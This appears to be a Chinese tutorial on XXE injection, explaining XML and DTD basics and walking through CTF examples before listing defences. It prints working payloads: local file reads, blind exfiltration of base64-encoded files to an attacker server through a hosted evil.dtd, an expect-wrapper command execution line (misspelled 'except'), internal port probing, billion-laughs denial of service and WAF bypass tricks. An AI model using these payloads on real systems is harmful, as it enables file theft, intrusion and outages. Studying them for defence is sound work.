对于XXE的理解
字数 1440 2025-08-24 07:48:09

XXE漏洞详解与实战指南

1. XXE漏洞概述

XXE (XML External Entity Injection) 全称为XML外部实体注入漏洞,是一种利用XML解析器处理外部实体时存在的安全漏洞。攻击者通过构造恶意的XML文档,可以读取服务器上的任意文件、执行远程请求、探测内网信息甚至导致拒绝服务攻击。

2. XML基础知识

2.1 XML基本概念

XML (eXtensible Markup Language) 是一种可扩展标记语言,与HTML类似但设计目的不同:

  • XML被设计用于传输和存储数据
  • XML允许自定义标签和文档结构
  • XML文档必须有且只有一个根元素
  • XML元素严格区分大小写

2.2 XML文档结构

<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<!-- XML声明,必须位于第一行 -->
<!-- 处理指令以<?开始,以?>结束 -->
<students>
  <student gender="male" isHandsome="true">
    <id>001</id>
    <name>zhangsan</name>
  </student>
</students>
  • XML声明:包含version、encoding和standalone属性
  • 元素:由开始标签、内容和结束标签组成
  • 属性:形式为属性名="属性值",多个属性用空格分隔
  • 注释:使用<!-- -->包裹,不允许嵌套

2.3 XML实体

实体(ENTITY)用于避免重复输入,分为预定义实体和自定义实体:

预定义实体

  • &lt; 表示 <
  • &gt; 表示 >
  • &amp; 表示 &
  • &apos; 表示 '
  • &quot; 表示 "

自定义实体语法

<!DOCTYPE 根元素[
  <!ENTITY 实体名 "实体内容">
]>

引用实体

&实体名;

3. DTD详解

DTD (Document Type Definition) 是XML文档的格式规范,也是XXE漏洞的关键所在。

3.1 DTD基本结构

<!DOCTYPE message [
  <!ELEMENT message (receiver, sender, header, msg)>
  <!ELEMENT receiver (#PCDATA)>
  <!ELEMENT sender (#PCDATA)>
  <!ELEMENT header (#PCDATA)>
  <!ELEMENT msg (#PCDATA)>
]>

3.2 DTD的三种应用形式

  1. 内部DTD
<!DOCTYPE 根元素[定义内容]>
  1. 外部DTD
<!DOCTYPE 根元素 SYSTEM "DTD文件路径">
  1. 内外部DTD结合
<!DOCTYPE 根元素 SYSTEM "DTD文件路径" [定义内容]>

3.3 DTD实体类型

  1. 内部实体
<!ENTITY 实体名称 "实体的值">
  1. 外部实体
<!ENTITY 实体名称 SYSTEM "URI">
  1. 参数实体
<!ENTITY % 实体名称 "值">
<!ENTITY % 实体名称 SYSTEM "URI">
  1. 公共实体
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

4. XXE攻击利用方式

4.1 读取任意文件(有回显)

基本payload

<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>

实战案例1:picoctf2023 SOAP

  1. 发现XML处理端点
  2. 修改Content-Type为application/xml
  3. 构造payload读取/etc/passwd

实战案例2:[NCTF 2019]Fake XML cookbook

<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "file:///flag">
]>
<user>
  <username>&xxe;</username>
  <password>11</password>
</user>

4.2 无回显XXE (Blind XXE)

方案1:外带数据到远程服务器

<!-- 攻击者服务器上的evil.dtd -->
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://vps-ip/test.php?file=%file;'>">

<!-- 受害者XML -->
<!DOCTYPE data [
  <!ENTITY % file SYSTEM "file:///c:/test.txt">
  <!ENTITY % dtd SYSTEM "http://vps-ip/evil.dtd">
  %dtd;
  %all;
  %send;
]>

方案2:使用php://filter和base64编码

<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
  <!ENTITY % dtd SYSTEM "http://vps-ip/evil.dtd">
  %dtd;
  %all;
]>
<data>&send;</data>

方案3:端口监听获取数据

<!-- evil.dtd -->
<!ENTITY % dtd "<!ENTITY % xxe SYSTEM 'http://vps-ip:3333/%file;'>">

<!-- payload -->
<!DOCTYPE test [
  <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
  <!ENTITY % aaa SYSTEM "http://vps-ip/evil.dtd">
  %aaa;
]>

4.3 命令执行

需要PHP安装expect扩展:

<?xml version="1.0"?>
<!DOCTYPE ANY [
  <!ENTITY f SYSTEM "except://ls">
]>
<x>&f;</x>

4.4 内网探测

端口探测

<?xml version="1.0"?>
<!DOCTYPE ANY [
  <!ENTITY content SYSTEM "http://10.165.89.150:88">
]>
<name>&content;</name>

内网主机探测

<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "file:///etc/hosts">
]>
<user>
  <username>&xxe;</username>
  <password>11</password>
</user>

4.5 DOS攻击

利用实体递归引用导致资源耗尽:

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!-- 继续扩展... -->
]>
<lolz>&lol9;</lolz>

5. 绕过WAF技术

5.1 编码绕过

使用iconv工具转换编码:

iconv -f utf8 -t utf16 1.xml > test.xml

5.2 空格绕过

利用XML对多余空格不敏感的特性:

<?xml    version="1.0"    encoding="utf-8"?>
<!DOCTYPE    data    [
  <!ENTITY    %    file    SYSTEM    "file:///c:/test/1.txt">
]>

6. 防御措施

  1. 禁用外部实体解析:

    • PHP: libxml_disable_entity_loader(true);
    • Java: 设置DocumentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)
  2. 使用安全的XML解析器并配置禁用DTD

  3. 输入验证和过滤,检测SYSTEM等关键词

  4. 使用白名单验证XML结构

  5. 升级XML处理库到最新版本

7. 总结

XXE漏洞危害严重,可以导致敏感信息泄露、服务器端请求伪造(SSRF)、内网探测甚至拒绝服务攻击。防御XXE需要从代码层面和配置层面双重保障,开发人员应充分了解XML处理的安全风险,采取适当的防护措施。

XXE漏洞详解与实战指南 1. XXE漏洞概述 XXE (XML External Entity Injection) 全称为XML外部实体注入漏洞,是一种利用XML解析器处理外部实体时存在的安全漏洞。攻击者通过构造恶意的XML文档,可以读取服务器上的任意文件、执行远程请求、探测内网信息甚至导致拒绝服务攻击。 2. XML基础知识 2.1 XML基本概念 XML (eXtensible Markup Language) 是一种可扩展标记语言,与HTML类似但设计目的不同: XML被设计用于传输和存储数据 XML允许自定义标签和文档结构 XML文档必须有且只有一个根元素 XML元素严格区分大小写 2.2 XML文档结构 XML声明 :包含version、encoding和standalone属性 元素 :由开始标签、内容和结束标签组成 属性 :形式为 属性名="属性值" ,多个属性用空格分隔 注释 :使用 <!-- --> 包裹,不允许嵌套 2.3 XML实体 实体(ENTITY)用于避免重复输入,分为预定义实体和自定义实体: 预定义实体 : &lt; 表示 < &gt; 表示 > &amp; 表示 & &apos; 表示 ' &quot; 表示 " 自定义实体语法 : 引用实体 : 3. DTD详解 DTD (Document Type Definition) 是XML文档的格式规范,也是XXE漏洞的关键所在。 3.1 DTD基本结构 3.2 DTD的三种应用形式 内部DTD : 外部DTD : 内外部DTD结合 : 3.3 DTD实体类型 内部实体 : 外部实体 : 参数实体 : 公共实体 : 4. XXE攻击利用方式 4.1 读取任意文件(有回显) 基本payload : 实战案例1:picoctf2023 SOAP 发现XML处理端点 修改Content-Type为 application/xml 构造payload读取/etc/passwd 实战案例2:[ NCTF 2019]Fake XML cookbook 4.2 无回显XXE (Blind XXE) 方案1:外带数据到远程服务器 方案2:使用php://filter和base64编码 方案3:端口监听获取数据 4.3 命令执行 需要PHP安装expect扩展: 4.4 内网探测 端口探测 : 内网主机探测 : 4.5 DOS攻击 利用实体递归引用导致资源耗尽: 5. 绕过WAF技术 5.1 编码绕过 使用iconv工具转换编码: 5.2 空格绕过 利用XML对多余空格不敏感的特性: 6. 防御措施 禁用外部实体解析: PHP: libxml_disable_entity_loader(true); Java: 设置 DocumentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true) 使用安全的XML解析器并配置禁用DTD 输入验证和过滤,检测SYSTEM等关键词 使用白名单验证XML结构 升级XML处理库到最新版本 7. 总结 XXE漏洞危害严重,可以导致敏感信息泄露、服务器端请求伪造(SSRF)、内网探测甚至拒绝服务攻击。防御XXE需要从代码层面和配置层面双重保障,开发人员应充分了解XML处理的安全风险,采取适当的防护措施。